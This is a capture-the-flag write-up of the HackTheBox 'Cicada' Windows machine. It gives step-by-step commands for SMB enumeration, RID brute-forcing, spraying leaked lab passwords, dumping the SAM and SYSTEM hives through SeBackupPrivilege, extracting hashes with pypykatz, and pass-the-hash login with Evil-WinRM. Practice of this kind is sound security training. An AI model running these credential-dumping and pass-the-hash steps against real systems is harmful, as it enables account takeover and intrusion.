> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md). # Cicada HackTheBox Writeup Cicada HackTheBox Easy Windows machine writeup covering SMB Enumeration (RID-Brute), Information Leakage (User Description) (netexec), Privilege Escalation (SeBackupPrivilege), SAM Extraction (pypykat {% embed url="" %} {% hint style="warning" %} **Skills:** * SMB Enumeration (RID-Brute) * Information Leakage (User Description) (netexec) * Privilege Escalation (SeBackupPrivilege) * SAM Extraction (pypykatz) * Pass-the-Hash (EvilWinRM) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts ```

**Open Port Analysis with extractPorts:** Using the extractPorts function to in a concise format display open ports and copy them into the clipboard (53.88,135,139.389,445,464,593,636,3268,3269,5985,5169)

Port Version Scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted ```

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file:

### Port 445 - SMB **SMB listing with smbmap** To list shared resources with a null session: ```bash smbmap -H 10.10.11.35 -u 'null' ```

The **HR** folder contains an interesting text file. We explore its content: ```bash smbmap -H 10.10.11.35 -u 'null' -r HR ```

**Download file** We access sharing and download the file: ```bash smbclient //10.10.11.35/HR -N get "Notice from HR.txt" ```

The file contains a password * password: `Cicada$M6Corpb*@Lp#nZp!8`

## RID-Brute list #### To identify users of the domain, we launch a RID-Brute attack: ```bash crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute ``` > The `--rid-brute` parameter is used to perform a /*/* brute force attack/*/* on **RID (Related Identifiers)** users in a Windows domain. A RID is part of a user's unique identifier in a Windows system and is generally used to identify user accounts and groups

Here is the list of users found: ``` Administrator Guest krbtgt CICADA-DC$ john.smoulder sarah.dantelia michael.wrightson david.orelious emily.oscars ``` #### User validation We test the password found for all users: ```bash crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' ``` The user **michael.wrightson** uses this password.

### User Michael: ### Enumeration with netexec We use **michael.wrightson** credentials to explore further: ```bash netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users ```

This reveals the user's clear password **david.orelious**: * username: `david.orelious` * password: `aRt$Lp#7t*VQ!3` /*/Validation and SMB enumeration with the credentials in //* **david.orelious** ### Pivoting User David We validate david.orelious IDs with CrackMapExec: ```bash crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' ```

Then we explore the SMB shares accessible on the target with smbmap: ```bash smbmap -H 10.10.11.35 -u david.orelious ```

We then connect to DEV sharing with smbclient: ```bash smbclient //10.10.11.35/DEV -U david.orelious ``` In this sharing we find a script named backup/ script.ps1.

### Pivoting User Emily We download the backup/ script.ps1 script with the get command and discover user IDs emily.oscars * username: emily.oscars * password: Q!3\@Lp#M6b/\*7t/\*Vt

We validate these credentials with CrackMapExec: ```bash crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ``` Then we connect to the machine with Evil-WinRM: ```bash evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ```

### Flag user.txt We retrieve the flag from the user.txt file.

## Privilege Escalation ### whoami /priv - SeBackupPrivilege {% embed url="" %} **Privilege Check** For starters, let's check the privileges of the current user. Run the following command to check if the user has the `SeBackupPrivilege` privilege: ```bash whoami /priv ```

**Download necessary DLL files** To abuse these privileges, download the DLL files to the victim machine. They are available [here](https://github.com/giuliano108/SeBackupPrivilege). 1. **SeBackupPrivilegeCmdLets.dll** {% embed url="" %} 2. **SeBackupPrivilegeUtils.dll** {% embed url="" %} Download these files to the victim's machine using the following commands ```powershell upload SeBackupPrivilegeCmdLets.dll upload SeBackupPrivilegeUtils.dll ```

**Loading DLL Modules** Once the DLL files are downloaded, load them into the PowerShell session using the following commands: ```powershell Import-Module ./SeBackupPrivilegeCmdLets.dll Import-Module ./SeBackupPrivilegeUtils.dll ``` **Back up the SAM and SYSTEM files** We will now save the `SAM` and `SYSTEM` files that contain the user identification information. Use the following commands to save them: ```powershell reg save hklm/sam sam reg save hklm/system system ```

**Download SAM and SYSTEM files** After saving the files, you can download them to your virtual machine (VM) to scan them: ```powershell download sam download system ```

### **Extracting hashes from the SAM file** Use `samdump2` to extract hashes from `SAM` and `SYSTEM` files: ```bash samdump2 system sam ```

If this command does not work, you can try `pypykatz` to extract the hashes directly: ```bash pypykatz registry system --sam sam ```

This should provide a valid hash, for example: * hash: `2b87e7c93a3e8a0ea4a581937016f341` ### **Pass-the-Hash with Evil-WinRM** Now that you have the hash, you can use it to perform a "Pass-the-Hash" and connect to the target machine using `evil-winrm`: ```bash evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341 ```

### Flag root.txt :)

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